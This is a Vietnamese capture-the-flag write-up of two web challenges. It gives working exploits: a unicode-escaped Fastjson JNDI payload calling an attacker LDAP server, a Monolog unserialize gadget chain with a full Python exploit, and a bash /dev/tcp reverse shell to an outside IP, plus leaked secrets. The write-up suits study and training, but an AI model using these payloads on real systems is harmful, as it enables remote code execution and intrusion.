# WannaGame Championship 2025
## longtrip
Trang web có tính năng parse XML -> ta nghĩ ngay tới XXE


-> tuy nhiên việc đọc file bị giới hạn số lượng ký tự nhất định.
Mình sử dụng tool https://github.com/staaldraad/xxeserv để exfil dữ liệu qua ftp server.

tương tự như vậy, mình cố gắng leak toàn bộ source code của web.
- **NoteServlet.java**
```java=
//package org.example.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import io.github.cdimascio.dotenv.Dotenv;
import java.io.*;
import java.util.logging.Logger;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "NoteServlet", urlPatterns = {"/note/*"})
public class NoteServlet extends HttpServlet {
private String secret;
private static final Logger logger = Logger.getLogger(NoteServlet.class.getName());
@Override
public void init() throws ServletException {
Dotenv dotenv = Dotenv.configure().directory("/opt/tomcat") .load();
secret = dotenv.get("SECRET");
if (secret == null) {
throw new ServletException("SECRET env missing!");
}
}
// hey, local first, remoter
private String[] Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
String path = request.getPathInfo();
if (path == null || path.length() <= 1) {
request.setAttribute("errorMessage", "Path is empty!");
request.getRequestDispatcher("/dashboard.jsp").forward(request, response);
return;
}
String key = path.substring(1);
if (key.equals(secret)) {
String content = RequestContentReader.getContent(request);
for(String Den : this.Denlist) {
if (content.contains(Den)) {
request.setAttribute("errorMessage", "Hacker!!!!");
RequestDispatcher dispatcher = request.getRequestDispatcher("/dashboard.jsp");
dispatcher.forward(request, response);
return;
}
}
// Currently in the build process, temporarily use the feature with note length <10.
if (content.length() < 20){
content = "{ note: \""+ content + "\" }";
}
try {
Object object = JSON.parseObject(content, Object.class, Feature.SupportNonPublicField);
request.setAttribute("notes", object);
request.getRequestDispatcher("/dashboard.jsp").forward(request, response);
} catch (Exception e) {
System.out.printf("error:" + "" + e.getMessage() + "\n");
request.setAttribute("errorMessage", "Something wrong because the system is under development!");
request.getRequestDispatcher("/dashboard.jsp").forward(request, response);
}
} else {
logger.info("Incoming request path: " + path);
request.setAttribute("errorMessage", "Wrong secret!");
request.getRequestDispatcher("/dashboard.jsp").forward(request, response);
}
}
}
```
dễ thấy tại route **/note** này dính lỗi Fastjson Deserialization ở đoạn
```java
Object object = JSON.parseObject(content, Object.class, Feature.SupportNonPublicField);
```
và trang web cũng thực hiện filter các chuỗi
```
Denlist = new String[]{"TemplatesImpl", "JdbcRowSetImpl","WrapperConnection", "@type", "ldap", "rmi"};
```
-> tuy nhiên có thể dễ dàng bypass với unicode vì JSON cho phép escape dạng `\uXXXX`...
---
Cùng với đó, trong quá trình enum ở trên mình biết được thư viện Fastjson sử dụng là version **`1.2.24`**
```
---
WEB-INF/lib
commons-codec-1.16.1.jar
commons-fileupload-1.5.jar
commons-io-2.13.0.jar
commons-lang3-3.12.0.jar
commons-text-1.10.0.jar
dotenv-java-2.2.4.jar
fastjson-1.2.24.jar
```
-> https://github.com/X1r0z/JNDIMap/blob/3b728599f2d1330520faab1ddf65d1e723643c15/src/main/java/map/jndi/gadget/Fastjson1.java
-> **payload:**
```
{"\u0040type": "Lcom.sun.rowset.Jdb\u0063RowSetImpl;","dataSourceName":"\u006cdap://152.42.186.220:1389/Deserialize/Fastjson1/ReverseShell/152.42.186.220/1337","autoCommit": true}
```
----
Mình dựng ldap server
```
root@ubuntu:~/tools# java -jar JNDIMap.jar -i 0.0.0.0
[RMI] Listening on 0.0.0.0:1099
[HTTP] Listening on 0.0.0.0:3456
[LDAP] Listening on 0.0.0.0:1389
```

Dạo quanh một vòng hệ thống không thấy flag, khả năng flag được giấu trong database.

tuy nhiên giới hạn quyền xem chỉ có user `dbaccessor`
mình chú ý tới một binary lạ `connectdb` cũng thuộc về người dùng này

Tiếp tục, kéo file về local để nhờ đồng đội hỗ trợ, mình biết được ở đây dính lỗi buffer overflow ở biến id,


> W1{L0nG_tR1P_t0-sqLi-4BCdEFGhA32I12a717a}
## To Me, The One Who Loved You
Challenge là một ứng dụng nhắn tin cho phép người dùng đăng ký, đăng nhập và gửi tin nhắn dạng mã hóa, hoặc plain text cho nhau.
Đáng chú ý là tính năng mã hóa tại `/api/encrypt` và `/api/decrypt` sử dụng driver `HyperfExt\Encryption\Driver\AesDriver` để xử lý dữ liệu.
vấn đề ở chỗ method `driverFromRequest()` trong `CryptoController` thay vì sử dụng APP_KEY cố định lại cho phép khởi tạo Driver với một Key tùy ý do người dùng cung cấp qua tham số `key`.
```php
// app/Controller/CryptoController.php
private function driverFromRequest(): AesDriver|Response
{
// ...
$keyInput = (string) $this->request->input('key', '');
// ...
return new AesDriver([
'key' => base64_encode($rawKey),
'cipher' => $cipher,
]);
}
```
-> hàm `AesDriver::decrypt()` sau khi giải mã AES thành công, nó tự động gọi `unserialize()` lên kết quả để khôi phục PHP Object

> https://github.com/hyperf-ext/encryption/blob/8468e9c49186d536c949fb8295fa3f552c0f4090/src/Driver/AesDriver.php#L120
-> lỗi deser khi mà mình có thể control được cả `cyphertext` và `key`
trước hết mình thử với chuỗi array nhỏ
```
a:1:{s:6:"marker";s:6:"POI_OK";}
```
```python=
#!/usr/bin/env python3
import requests
import json
import base64
import hmac
import hashlib
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
TARGET_URL = "http://172.30.13.232:9501"
USERNAME = "dunvuo"
PASSWORD = "111111"
proxies = {
# "http": "http://127.0.0.1:8080"
}
# 1. Login
s = requests.Session()
print(f"[*] Logging in as {USERNAME}...")
try:
r = s.post(f"{TARGET_URL}/api/login", json={"username": USERNAME, "password": PASSWORD}, proxies=proxies)
if r.status_code != 200:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
token = r.json().get("token")
headers = {"Authorization": f"Bearer {token}"}
print("[+] Login OK. Token retrieved.")
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
serialized_payload = b'a:1:{s:6:"marker";s:6:"POI_OK";}'
# 3. Encryption & Signing
exploit_key = b'A' * 32 # Key tùy ý (Attacker control)
iv = b'B' * 16 # IV tùy ý
cipher = AES.new(exploit_key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(serialized_payload, AES.block_size))
iv_b64 = base64.b64encode(iv).decode()
value_b64 = base64.b64encode(ct).decode()
# HMAC-SHA256 (theo logic của Hyperf/Laravel: hmac(iv + ciphertext))
mac = hmac.new(exploit_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
json_blob = json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac})
# Encode toàn bộ JSON payload thành base64 để gửi đi
payload_param = base64.b64encode(json_blob.encode()).decode()
print(payload_param, exploit_key.decode())
# 4. Sending Exploit
print("[*] Sending malicious payload to /api/decrypt...")
try:
resp = s.post(
f"{TARGET_URL}/api/decrypt",
json={"ciphertext": payload_param, "key": exploit_key.decode()},
headers=headers,
proxies=proxies
)
print(f"[*] Server status: {resp.status_code}")
print(resp.text)
except Exception as e:
print(f"[-] Request failed: {e}")
```

-> confirm
tiếp theo mình tiến hành tìm chain khả thi,
```
# grep -r "public function __destruct" vendor/
vendor/hyperf/http-message/src/Stream/StandardStream.php: public function __destruct()
vendor/hyperf/http-message/src/Cookie/SessionCookieJar.php: public function __destruct()
vendor/hyperf/http-message/src/Cookie/FileCookieJar.php: public function __destruct()
vendor/hyperf/pool/src/ConstantFrequency.php: public function __destruct()
vendor/hyperf/pool/src/KeepaliveConnection.php: public function __destruct()
vendor/guzzlehttp/psr7/src/Stream.php: public function __destruct()
vendor/guzzlehttp/psr7/src/FnStream.php: public function __destruct()
vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.php: public function __destruct()
vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php: public function __destruct()
vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php: public function __destruct()
vendor/guzzlehttp/guzzle/src/Handler/CurlMultiHandler.php: public function __destruct()
vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php: public function __destruct()
vendor/monolog/monolog/src/Monolog/Handler/Handler.php: public function __destruct()
```
Thử vài chain với `phpggc` không được, mình thử tìm thủ công chain của `Monolog`, vì ứng dụng web chỉ có quyền read-only với người dùng non-root nên mục tiêu cuối khả năng sẽ là RCE, mình bỏ qua những hướng ghi file.


-> sink khả năng nhất là `Monolog\Handler\ProcessHandler.php` gọi hàm `proc_open()` với đối số là biến `command` - nếu có thể control được giá trị này thì sẽ RCE
```php=
//ProcessHander.php
private function startProcess(): void
{
$this->process = proc_open($this->command, static::DESCRIPTOR_SPEC, $this->pipes, $this->cwd);
foreach ($this->pipes as $pipe) {
stream_set_blocking($pipe, false);
}
}
```

trace ngược lại từ từ, sau 7749 lần thử mình mò được chain
`GroupHandler` -> `BufferHandler` -> `ProcessHandler`
mình ném cho GPT để dựng lại gadget :headstone:
- **monolog_chain.php**
```php=
<?php
namespace Monolog {
enum Level: int {
case Debug = 100;
}
class LogRecord {
public function __construct(
public \DateTimeImmutable $datetime,
public string $channel,
public Level $level,
public string $message,
public array $context = [],
public array $extra = [],
public ?string $formatted = null,
) {}
}
}
namespace Monolog\Handler {
// 3. Base Handler
class Handler {
public function __destruct() {
$this->close();
}
public function close() {}
}
// 4. AbstractHandler (Chứa logic level/bubble)
class AbstractHandler extends Handler {
protected \Monolog\Level $level;
protected bool $bubble = true;
public function __construct() {
$this->level = \Monolog\Level::Debug;
}
}
// 5. AbstractProcessingHandler (Lớp trung gian)
class AbstractProcessingHandler extends AbstractHandler {
protected array $processors = [];
}
class ProcessHandler extends AbstractProcessingHandler {
private $process = null;
private string $command;
private ?string $cwd = null;
private array $pipes = [];
private float $timeout = 60.0;
public function __construct(string $cmd) {
parent::__construct();
$this->command = $cmd;
}
}
class BufferHandler extends AbstractHandler {
protected $handler;
protected $buffer = [];
protected int $bufferSize = 1;
protected bool $initialized = true;
protected bool $flushOnOverflow = false;
public function __construct($handler, $record) {
parent::__construct();
$this->handler = $handler;
$this->buffer = [$record];
}
}
class GroupHandler extends Handler {
protected array $handlers;
protected bool $bubble = true;
protected array $processors = [];
public function __construct(array $handlers) {
$this->handlers = $handlers;
}
}
}
namespace {
$cmd = "touch /tmp/pwn.txt";
$dt = new \DateTimeImmutable();
$level = \Monolog\Level::Debug;
$record = new \Monolog\LogRecord(
$dt,
'pwn',
$level,
'Exploit Message',
[], [],
'DATA INPUT'
);
// 1. ProcessHandler: Sẽ chạy lệnh $cmd khi được kích hoạt
$process = new \Monolog\Handler\ProcessHandler($cmd);
// 2. BufferHandler: Chứa record, sẽ flush xuống ProcessHandler khi close
$buffer = new \Monolog\Handler\BufferHandler($process, $record);
// 3. GroupHandler: Entry point, kích hoạt chuỗi khi destruct
$exploit = new \Monolog\Handler\GroupHandler([$buffer]);
$serialized = serialize($exploit);
echo "[+] Base64 Payload:\n";
echo base64_encode($serialized) . "\n";
}
```
- **exploit.py**
```python=
#!/usr/bin/env python3
import requests
import json
import base64
import hmac
import hashlib
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
TARGET_URL = "http://localhost:9501"
USERNAME = "dunvuo"
PASSWORD = "111111"
proxies = {
# "http": "http://127.0.0.1:8080"
}
# 1. Login
s = requests.Session()
print(f"[*] Logging in as {USERNAME}...")
try:
r = s.post(f"{TARGET_URL}/api/login", json={"username": USERNAME, "password": PASSWORD}, proxies=proxies)
if r.status_code != 200:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
token = r.json().get("token")
headers = {"Authorization": f"Bearer {token}"}
print("[+] Login OK. Token retrieved.")
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
base64_payload_from_php = "TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6Mzp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086Mjk6Ik1vbm9sb2dcSGFuZGxlclxCdWZmZXJIYW5kbGVyIjo3OntzOjg6IgAqAGxldmVsIjtFOjE5OiJNb25vbG9nXExldmVsOkRlYnVnIjtzOjk6IgAqAGJ1YmJsZSI7YjoxO3M6MTA6IgAqAGhhbmRsZXIiO086MzA6Ik1vbm9sb2dcSGFuZGxlclxQcm9jZXNzSGFuZGxlciI6ODp7czo4OiIAKgBsZXZlbCI7cjo0O3M6OToiACoAYnViYmxlIjtiOjE7czoxMzoiACoAcHJvY2Vzc29ycyI7YTowOnt9czozOToiAE1vbm9sb2dcSGFuZGxlclxQcm9jZXNzSGFuZGxlcgBwcm9jZXNzIjtOO3M6Mzk6IgBNb25vbG9nXEhhbmRsZXJcUHJvY2Vzc0hhbmRsZXIAY29tbWFuZCI7czoxODoidG91Y2ggL3RtcC9wd24udHh0IjtzOjM1OiIATW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAGN3ZCI7TjtzOjM3OiIATW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAHBpcGVzIjthOjA6e31zOjM5OiIATW9ub2xvZ1xIYW5kbGVyXFByb2Nlc3NIYW5kbGVyAHRpbWVvdXQiO2Q6NjA7fXM6OToiACoAYnVmZmVyIjthOjE6e2k6MDtPOjE3OiJNb25vbG9nXExvZ1JlY29yZCI6Nzp7czo4OiJkYXRldGltZSI7TzoxNzoiRGF0ZVRpbWVJbW11dGFibGUiOjM6e3M6NDoiZGF0ZSI7czoyNjoiMjAyNS0xMi0wOCAxNjoxMTo1OS45NTMyODYiO3M6MTM6InRpbWV6b25lX3R5cGUiO2k6MztzOjg6InRpbWV6b25lIjtzOjM6IlVUQyI7fXM6NzoiY2hhbm5lbCI7czozOiJwd24iO3M6NToibGV2ZWwiO3I6NDtzOjc6Im1lc3NhZ2UiO3M6MTU6IkV4cGxvaXQgTWVzc2FnZSI7czo3OiJjb250ZXh0IjthOjA6e31zOjU6ImV4dHJhIjthOjA6e31zOjk6ImZvcm1hdHRlZCI7czoxMDoiREFUQSBJTlBVVCI7fX1zOjEzOiIAKgBidWZmZXJTaXplIjtpOjE7czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE4OiIAKgBmbHVzaE9uT3ZlcmZsb3ciO2I6MDt9fXM6OToiACoAYnViYmxlIjtiOjE7czoxMzoiACoAcHJvY2Vzc29ycyI7YTowOnt9fQ=="
serialized_payload = base64.b64decode(base64_payload_from_php)
# 3. Encryption & Signing
exploit_key = b'A' * 32
iv = b'B' * 16
cipher = AES.new(exploit_key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(serialized_payload, AES.block_size))
iv_b64 = base64.b64encode(iv).decode()
value_b64 = base64.b64encode(ct).decode()
mac = hmac.new(exploit_key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
json_blob = json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac})
# Encode toàn bộ JSON payload thành base64 để gửi đi
payload_param = base64.b64encode(json_blob.encode()).decode()
# 4. Sending Exploit
print("[*] Sending malicious payload to /api/decrypt...")
try:
resp = s.post(
f"{TARGET_URL}/api/decrypt",
json={"ciphertext": payload_param, "key": exploit_key.decode()},
headers=headers,
proxies=proxies
)
print(f"[*] Server status: {resp.status_code}")
print(resp.text)
except Exception as e:
print(f"[-] Request failed: {e}")
```

confirm đã RCE -> mình tạo payload để reverse shell
```php
$cmd = "/bin/sh -c 'bash -i >& /dev/tcp/152.42.186.220/4242 0>&1'";
```

- **SECRET:** `28fdbbd5c9ea4b2688d50a1b656ef955b90bec3996151f9a`
- **APP_KEY:**`3caab99dc0e1910e3a530872fdecfc6f`
-> với hai thông tin trên, mình dễ dàng craft lại được auth token của người dùng `Satou Shiori`
và có được encrypted flag.

- **decrypt.php**
```php=
<?php
/**
* Giải mã payload được mã hóa bởi encryptClientStyle()
*
* @param string $cipherPayload Base64-encoded JSON payload
* @param string $secret Shared secret (password)
* @return string|false Plaintext hoặc false nếu thất bại
*/
function decryptClientStyle(string $cipherPayload, string $secret)
{
// Step 1: Decode outer base64 layer
$jsonPayload = base64_decode($cipherPayload, true);
if ($jsonPayload === false) {
return false; // Invalid base64
}
// Step 2: Parse JSON structure
$payload = json_decode($jsonPayload, true);
if (!$payload || !isset($payload['salt'], $payload['iv'], $payload['ct'])) {
return false; // Missing required fields
}
// Step 3: Extract and decode components
$salt = base64_decode($payload['salt'], true);
$iv = base64_decode($payload['iv'], true);
$ctWithTag = base64_decode($payload['ct'], true);
if ($salt === false || $iv === false || $ctWithTag === false) {
return false; // Invalid base64 in fields
}
// Step 4: Separate ciphertext and tag
// AES-GCM tag is always 16 bytes (128 bits)
$tagLength = 16;
if (strlen($ctWithTag) < $tagLength) {
return false; // Ciphertext too short
}
$ciphertext = substr($ctWithTag, 0, -$tagLength);
$tag = substr($ctWithTag, -$tagLength);
// Step 5: Derive key using same parameters as encryption
// CRITICAL: Must match exact parameters in encryptClientStyle()
$key = hash_pbkdf2('sha256', $secret, $salt, 100000, 32, true);
// Step 6: Decrypt using AES-256-GCM
$plaintext = openssl_decrypt(
$ciphertext,
'aes-256-gcm',
$key,
OPENSSL_RAW_DATA,
$iv,
$tag,
'' // Additional Authenticated Data (AAD) - empty như lúc encrypt
);
// Step 7: Verify decryption success
// openssl_decrypt returns false if tag verification fails
if ($plaintext === false) {
return false; // Authentication tag mismatch hoặc key sai
}
return $plaintext;
}
// ===========================
// DEMO: Encrypt → Decrypt
// ===========================
$secret = '5b3f29d948aaa8509ae3dc9cafcc09e13cb6a55a77201b60';
$plaintext = 'W1{fake_flag}';
// Mã hóa
$cipherPayload = "eyJhbGciOiJBRVMtR0NNIiwic2FsdCI6IkxnXC9WdndlanJablwveHl1K0NZRnpLUT09IiwiaXYiOiJ5aGhGUVJmZ0k1VWh4V0gwIiwiY3QiOiJMcUY1M0RIRmw3dGF6cnNERXp3TG13ZHZaaUpWZ2dsUHRVUlQ3YkJQa1NFWnVucnBlNHBjSUZqN01HNDB1Szg1U2QxZUg1emNtdW1lODZ1ODlSbmthb0x0N2Fmb0M5MG54Z3Jkam1HamRlN3lQOWpoUlwvWk5WRTRRV2dhZk1MekVIUnh2Uzh3SStaZ0ZDRGtMMzBKczZsSXhCbFR4Tzlkb3NaYU1xU25LYXVKc21xUUNcL2tRZzNGU05SNFhod2RsNlFLZWxsWmNZWHIxRDVpcUJsMG9ibGExU0dWTEZBRnJQWmZZWDRKc3ZWcmQ4d0pQbmFRYXNTbWdocjBiQXhuYWRqaENLV2FJem5BNG1PaHcrNWZ4WTA1a2d2NVkyQ3ZoVUVpM0E0R3BWSlVTdDdvblplVVJHdE1NdTM2bG4xQXArOU9iampjWWNYK3pqQXhuVGF1cW9kMnNjdjYwNXltQm0zRW02RVg0TU5pakJRdks0ZjN0dlNEZEVyOFA3UVpUc1RhWUhNR1wveDBuRzBHbUlFaU9waWZjaHZaYTNESlFlM1dNblVoRzVXSXBqa3huVHZWVkN4RlwvY1dWOGFRMVlMaUhiS25ZS3dPcWMydmhcLzBoU0xrVDI0U1kybHk0YU9hNlwvTm95OXdDRXNtTU9Lbkc5S21BQzk1a2dsZXBHbERzb3dDZWN3RW1wY1hoXC9VMDVvK0M4a0NJaWE3WUY0QituNGRiS2pIVE4zT2ZENGZTVkJSU3FTSHd6djRIWnVWbzBqUjFkQk1YaVBvWlVrdHEwS1hYMzdzZWRKR094aTBjYm01UzVtMlR0bmFmaGZUZDRVK0U1alIwOERsTEd0dW1HQUFEM0pGdktkU0NSRU5ZNnZVaFhKMTcxMUQrYjNKXC92OEp4SWE0Um41djFlWG1zQlZcL3FhaGIwdHNUcWJZcXdzT3crNE1UbUQ0YWsrUTBoamxuNWZ0Y3lrOVVydWZ1OVg4XC9ZTTBNczZhXC9UUmV4RjBZczQ0WE1MUlJURVl3TW9ORGcwZ09pWW1mOHRBeU9MMWJkbmRMUXBRRUVyUVpFOGFIcWNZZFloRnQxeDM1KzBSVVwvc3BcL0tHZG1ESDJTdEhKV25Kd0VxbjNKN1g3V2N2Z2VHVUk9In0=";
echo "Encrypted Payload:\n$cipherPayload\n\n";
// Giải mã
$decrypted = decryptClientStyle($cipherPayload, $secret);
if ($decrypted !== false) {
echo "Decrypted Plaintext: $decrypted\n";
echo "Match original? " . ($decrypted === $plaintext ? 'YES' : 'NO') . "\n";
} else {
echo "Decryption failed!\n";
}
// Helper function từ code ban đầu
function encryptClientStyle(string $plaintext, string $secret): string
{
$salt = random_bytes(16);
$iv = random_bytes(12);
$key = hash_pbkdf2('sha256', $secret, $salt, 100000, 32, true);
$tag = '';
$ciphertext = openssl_encrypt($plaintext, 'aes-256-gcm', $key, OPENSSL_RAW_DATA, $iv, $tag, '');
$payload = [
'alg' => 'AES-GCM',
'salt' => base64_encode($salt),
'iv' => base64_encode($iv),
'ct' => base64_encode($ciphertext . $tag),
];
return base64_encode(json_encode($payload));
}
?>
```
```
Decrypted Plaintext: As I sink into the imaginary sea, holding this piece of Shiori,
I bid farewell and take the plunge into a world where I will never know her.
Thank you for everything, Kazune.
And to me-the one who loved you-I entrust one fateful meeting.
All so I might see my beloved one last time.
Please if I ever find myself in that world, let me meet her again.
And now, goodbye my dear Shiori, I wish you happiness in whatever world you find yourself in.
Well done on making it this far. Hope you enjoyed the challenge!
FLAG: W1{B3c4us3-tO_M3_A-W0r1D_w1Th0Ut-h3r_1n-lT-W45-A5_GO0D-AS_W0RtH13Ss_plz_dm_@yuu_2802_wh3n_y0u_f1nd_fl4g0}
```